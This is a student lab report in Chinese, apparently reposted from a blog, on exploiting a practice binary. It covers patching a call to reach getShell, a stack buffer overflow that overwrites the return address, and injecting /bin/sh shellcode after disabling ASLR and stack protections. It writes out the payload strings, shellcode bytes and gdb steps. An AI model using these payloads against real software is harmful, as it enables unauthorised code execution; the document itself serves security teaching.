zoukankan      html  css  js  c++  java
  • 20155339平措卓玛 Exp1 PC平台逆向破解(5)M

    20155339平措卓玛 Exp1 PC平台逆向破解(5)M

    实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    基础知识

    一、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:NOP是英语“No Operation”的缩写。NOP无操作数,所以称为“空操作”。执行NOP指令只使程序计数器PC加1,所以占用一个机器周期。机器码是“90”。
    • JNE:条件转移指令 转移的条件是ne,即不相等(等价于 不等于零)机器码是“75”。
    • JE:JE是汇编语言中的一个条件转移指令。机器码是“74”。
    • JMP:无条件转移。机器码:“eb"。
    • CMP:指令进行比较两个操作数的大小。机器码是“39”。

    二、掌握反汇编与十六进制编程器

    • 反汇编命令为objdump,加上不同的参数有不同的功能:
      1.-d:将代码反汇编;
      2.-S:将代码段反汇编的同时,将反汇编代码和源代码交替显示,编译时需要给出-g,即需要调试信息。
      3.-C:将C++符号名逆向解析。
      4.-l:反汇编代码中插入源代码的文件名和行号。
      5.-j section:仅反汇编指定的section。可以有多个-j参数来选择多个section。
      用编与十六进制编程器**

    • 反汇编命令为objdump -d对pwn1进行反汇编:

    • 十六进制编辑器:
      1.vi打开文件
      2.按esc键,然后输入:%!xxd,这样就将显示切换为十六进制了。

    3.完成编辑后,输入:%!xxd -r转换为原格式。

    三、能正确修改机器指令改变程序执行流程
    见实验一。

    四、能正确构造payload进行bof攻击
    见实验三。

    实验内容

    实验一

    一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    • 用反汇编指令,对目标文件进行反汇编,命令为:
      objdump -d pwn120155339

    • 我们要使得main函数调用getShell,就要看在哪里调用它,根据对反汇编结果的分析,发现call的是foo函数的地址,那么说明main函数调用了foo函数,对应的机器码是e8 d7ffffff,现在分析d7ffffff是怎么来的,首先现在的eip值应该是下一条指令的地址,80484ba,foo函数的地址是8048491,那么必然就是这两个值加或者减获得了d7ffffff,经验证foo函数的地址-80484ba的补码就是d7ffffff,现在我们只需修改d7ffffff为getShell-80484ba对应的补码就可以了。

    • 在这之前先备份,cp pwn120155339 pwn220155339

    • 进行修改vi pwn220155339,修改步骤如下:
      1.按ESC键。
      2.以16进制模式显示:%!xxd
      3.查找要修改的内容:/e8d7
      4.修改d7为c3
      5.转换16进制为原格式:%!xxd -r
      6.退出:wq

    • 验证实验,运行pwn220155339以及原文件pwn120155339,得到如下结果

    • 最后可以反汇编看看main函数是不是真的调用了getShell,call指令后面的地址是不是getShell的地址,若是,至此实验一成功。

    实验二

    二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

    • 进行反汇编,分析程序有什么漏洞。

    • 通过分析可以知道该程序在foo函数中有读入字符串,但是只预留了一定字节数的空间,那么超出部分就会造成溢出有Buffer overflow漏洞,借助缓冲区溢出的攻击原理,我们需要的就是覆盖返回地址。那么我们需要知道输入字符串哪几个字符会覆盖返回地址。

    • 进行gdb调试,输入一段较长的数字,我这里选取的是1111111122222222333333334444444455555555,用info r 命令查看此时是否缓冲区溢出,由下图可知道此时的eip寄存器所存储的值是0x35是5的ASCII 值,所以可以知道,此时该字符串中的某个5开始便缓冲区溢出了。

    • 进一步实验,将输入的字符改为可以判断从哪个5开始缓冲区溢出的字符,我选择输入1111111122222222333333334444444412345678,再次查看eip寄存器的值,如下图,可以发现 1234四个数最终会覆盖到堆栈上的返回地址,所以只要把这四个字替换为getShell 的内存地址,输给pwn120155339,pwn120155339就会运行getShell。

    • 用getshell的地址0x0804847d替换输入字符串的1234,又因为是计算机是小端的,所以x7dx84x04x08代替我们输入的字符串的1234,即用它来覆盖返回地址。

    • 将一组字符串输入到input文件中,这组字符串应该满足这样一个条件,第33-36个字符为用getshell的地址的小端法表示,然后再加一个回车即x0a,并将其通过管道符“|”作为pwn120155339的输入字符串运行,如下图。

    • 可以看到,程序获取了shell并且成功执行了ls命令。

    实验三

    三、注入一个自己制作的shellcode并运行这段shellcode。

    • 准备工作:
      1.首先用execstack -s pwn120155339设置堆栈可执行。
      2.execstack -q pwn120155339查询文件的堆栈是否可执行。
      3.more /proc/sys/kernel/randomize_va_space
      4.echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化>。
      5.more /proc/sys/kernel/randomize_va_space

    • 由于缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,并且我们的buf足够大,因此放到前面。

    • 我们使用的shellcode是perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode,其中注意最后不能使回车x0a

    • 接下来确定这段shellcode的地址来更换x4x3x2x1。打开一个终端注入这段攻击buf。

    • 打开另一个终端,用gdb来调试该进程。这之前用 ps -ef | grep pwn120155339来找到到该进程的进程号,由下图可知为2575。

    • 开始gdb调试。

    • attach 2575来与进程进行连接。

    • 设置断点,来查看注入buf的内存地址disassemble foo,查看ret的地址,段在该处,ret完就会跳到我们覆盖的retaddr处break *0x080484ae

    • 另一个终端中回车,以将注入的buf作为输入。

    • c(Continuing);

    • info r esp查看esp寄存器的值

    • shellcode挨着01020304,所以地址是0xffffd310。

    • 因此注入
      perl -e 'print "A" x 32;print "x10xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 使用16进制查看指令xxd查看input_shellcode文件的内容是否如预期,若没有错误,则将其作为输入运行。

    • 获得了shell,实验完成。

    遇到的问题

    
    # 
    
    # deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
    
    #deb cdrom:[Debian GNU/Linux 2018.1 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180126-21:23]/ kali-last-snapshot contrib main non-free
    
        #kali官方源  
    
        deb http://http.kali.org/kali kali-rolling main non-free contrib  
          
        #中科大的源  
          
        deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
          
        deb http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free  
          
        deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free  
          
        deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
          
        deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
          
        #阿里云源  
        deb http://mirrors.aliyun.com/kali sana main non-free contrib  
        deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free  
          
        deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free  
        #  
        deb http://ppa.launchpad.net/hzwhuang/ss-qt5/ubuntu xenial main  
    
    

    问题解决。

    • 问题二:在最后一个实验中,每次都是断错误。
    • 解决方法:重新阅读老师的教程,发现自己,没有关闭地址随机化、开启了堆栈保护,开启了堆栈执行保护,而在这种情况下用这种方法就不会成功,所以做了这些准备工作再次尝试终于成功。
  • 相关阅读:
    windows下用Python把pdf文件转化为图片(png格式)
    SQL优化实战:外层查询条件放到内层查询中(predicate push down)
    SQL优化实战:临时表+分批提交+按日结存
    SQL优化:重新编译存储过程和表
    论坛中的问题:47 数据库的事务是100%的吗?
    代理模式
    建造者模式
    工厂模式
    面向对向设计
    单例设计模式
  • 原文地址:https://www.cnblogs.com/pingcpingcuo/p/8592188.html
Copyright © 2011-2022 走看看